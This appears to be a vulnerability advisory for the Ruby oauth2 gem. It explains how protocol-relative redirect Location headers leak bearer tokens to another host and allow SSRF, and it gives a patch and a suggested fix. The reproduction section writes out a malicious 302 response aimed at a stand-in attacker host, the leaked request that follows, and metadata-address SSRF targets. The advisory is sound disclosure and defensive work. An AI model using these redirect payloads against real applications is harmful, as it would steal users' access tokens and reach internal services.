PT-2026-65661 · Rubygems · Oauth2
Publicado
2026-07-28
·
Atualizado
2026-07-28
CVSS v3.1
8.6
Alta
| Vetor | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
Summary
When an application uses
OAuth2::Client (typically via an OAuth2::AccessToken) and the configured authorization server returns a redirect whose Location header is a protocol-relative URI of the form //attacker.example/leak, OAuth2::Client#request resolves the redirect with response.response.env.url.merge(location). Per RFC 3986 §5.2, an input that starts with // is a network-path reference and replaces the authority of the base URL: URI("http://idp.trusted/userinfo").merge("//attacker.example/leak") returns http://attacker.example/leak. The recursive request(verb, full location, req opts) call then re-sends the request to the attacker host while preserving the Authorization: Bearer <access-token> header that OAuth2::AccessToken#configure authentication! installed on req opts[:headers] for the original request.The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the
Location it emits) can extract the bearer access token of the calling user.Affected
oauth2v2.0.21 and all prior versions back to and including v0.4.0.- The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
- The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in
OAuth2::Client#requestsince v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73 - Ruby 4.0.5 on
arm64-darwin25. The behaviour ofURI#mergefor protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x). - Adapter independence: confirmed against the default
faraday2.14.2 +faraday-net http3.4.3 stack. TheURI#mergecall is inoauth2itself, not in Faraday, so the issue is not adapter-specific.
Impact
A consumer that uses
OAuth2::AccessToken#get / #post / #request against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:- Cross-origin credential disclosure. The connection-scoped
Authorization: Bearer <token>header attached byOAuth2::AccessToken#configure authentication!is sent to the attacker host on the very next request, with no second user interaction. - SSRF from the application server. The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (
//169.254.169.254/...,//127.0.0.1:.../...) that the application server can reach but the attacker cannot.
The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no
Location: http://attacker/... is needed — the protocol-relative //attacker/x form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.Vulnerable code
ruby
def request(verb, url, req opts = {}, &block)
response = execute request(verb, url, req opts, &block)
status = response.status
case status
when 301, 302, 303, 307
req opts[:redirect count] ||= 0
req opts[:redirect count] += 1
return response if req opts[:redirect count] > options[:max redirects]
if status == 303
verb = :get
req opts.delete(:body)
end
location = response.headers["location"]
if location
full location = response.response.env.url.merge(location) # <-- protocol-relative input replaces authority
request(verb, full location, req opts)
# ...response.response.env.url is the resolved URL of the prior request (always absolute, since Faraday's build exclusive url produces an absolute URI). location is the raw Location response header, with no validation. URI#merge follows RFC 3986 §5.2 and treats //host/path as a network-path reference, dropping the base authority and adopting the input's host. The recursive request(verb, full location, req opts) then re-enters with req opts unchanged, which means any Authorization header that OAuth2::AccessToken#configure authentication! placed in req opts[:headers] for the original request travels with the redirected request to the attacker-controlled host.The credential plumbing is at [
lib/oauth2/access token.rb#L376-L408](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access token.rb#L376-L408):ruby
def configure authentication!(opts, verb)
# ...
case mode
when :header
opts[:headers] ||= {}
opts[:headers].merge!(headers)
# ...
end
def headers
{"Authorization" => options[:header format] % token}
endThe default token mode is
:header, so every AccessToken#get / #post / #request call attaches Authorization: Bearer <token> to req opts[:headers]. That same dictionary is then forwarded verbatim into the redirected request, because Client#request does not inspect or strip req opts[:headers] when the redirect crosses origins.Reachable in production
The vulnerable path is the documented
AccessToken#get / AccessToken#post flow that every oauth2 integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to options[:max redirects] hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative Location header is enough to redirect the next request to an attacker host with the bearer token attached.Realistic upstream triggers:
- Open redirect on the IdP. Many authorization servers expose endpoints that emit
Locationbased on user input (for example logout flows,redirect uriechoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant//attacker.example/leakas the redirect target and induce the oauth2 client to follow it. - Tenant-controlled IdP. Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via
OAuth2::Client.new(... , site: tenant supplied url)allows a malicious tenant to setsite:to its own server and emit the protocol-relativeLocationdirectly. - Compromised or downgraded IdP. A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.
In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.
Reproduction
The issue can be reproduced with a client using the default bearer-token header mode against an
oauth2 version before 2.0.22.Minimal setup:
ruby
require "oauth2"
client = OAuth2::Client.new(
"client-id",
"client-secret",
site: "http://idp.example.test"
)
token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")If the configured authorization/resource server responds to that request with a redirect such as:
http
HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0then vulnerable versions resolve the protocol-relative
Location as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because OAuth2::AccessToken uses Authorization: Bearer <token> by default, the next request is sent to the attacker-controlled host with the bearer token attached:http
GET /leak HTTP/1.1
Host: attacker.example.test
Authorization: Bearer SECRET-BEARER-TOKENThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in
OAuth2::Client#request; the attacker-controlled input is the raw Location header value from a 30x response.Patched-build verification
Monkey-patch
OAuth2::Client#request so that protocol-relative Location values are forced down the relative-path branch of URI#merge by prepending ./. Re-run the attack against the same poc collector.rb instance.ruby
module OAuth2
class Client
def request(verb, url, req opts = {}, &block)
response = execute request(verb, url, req opts, &block)
status = response.status
case status
when 301, 302, 303, 307
req opts[:redirect count] ||= 0
req opts[:redirect count] += 1
return response if req opts[:redirect count] > options[:max redirects]
verb = :get and req opts.delete(:body) if status == 303
location = response.headers["location"]
if location
# PATCH: neutralise protocol-relative location before URI#merge.
safe location = location.start with?("//") ? "./#{location}" : location
full location = response.response.env.url.merge(safe location)
request(verb, full location, req opts)
else
raise(Error.new(response), "Got #{status} status code, but no Location header was present")
end
# ... unchanged fallthrough ...
end
end
end
endAfter applying the patch, the same
token.get("/userinfo") call resolves the attack Location: //127.0.0.1:4568/leak to http://127.0.0.1:4567/127.0.0.1:4568/leak — same host as the IdP — and :4568 never receives the bearer token. The IdP redirect loop trips max redirects and the helper returns status: 302 to the caller with no off-host request. Collector log after the patched run shows :4568 LEAK count unchanged from the negative control:text
[idp:4567] hit req line=GET /userinfo HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit req line=GET ///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit req line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY"All hops stay on
127.0.0.1:4567. The bearer token never leaves the IdP.Suggested fix
Treat protocol-relative
Location values as relative paths when resolving against the prior request URL. The smallest local fix is the ./ prefix used in Faraday::Connection#build exclusive url for the same primitive (see lines 485-488 of faraday/lib/faraday/connection.rb):ruby
location = response.headers["location"]
if location
# Force protocol-relative inputs to be interpreted as relative paths so they
# cannot override the base authority via RFC 3986 §5.2 network-path reference.
safe location = location.respond to?(:start with?) && location.start with?("//")
? "./#{location}" : location
full location = response.response.env.url.merge(safe location)
request(verb, full location, req opts)A defence-in-depth follow-up is to also strip credential-bearing headers (
Authorization, plus any custom headers configured via header format) from req opts[:headers] when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in lib/mechanize/http/agent.rb#L1068-L1077. That additional check protects against the orthogonal case where an attacker controls an absolute Location: http://attacker.example/... value on a same-host open-redirect endpoint.Credit
Reported by tonghuaroot.
Correção
Information Disclosure
Open Redirect
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Oauth2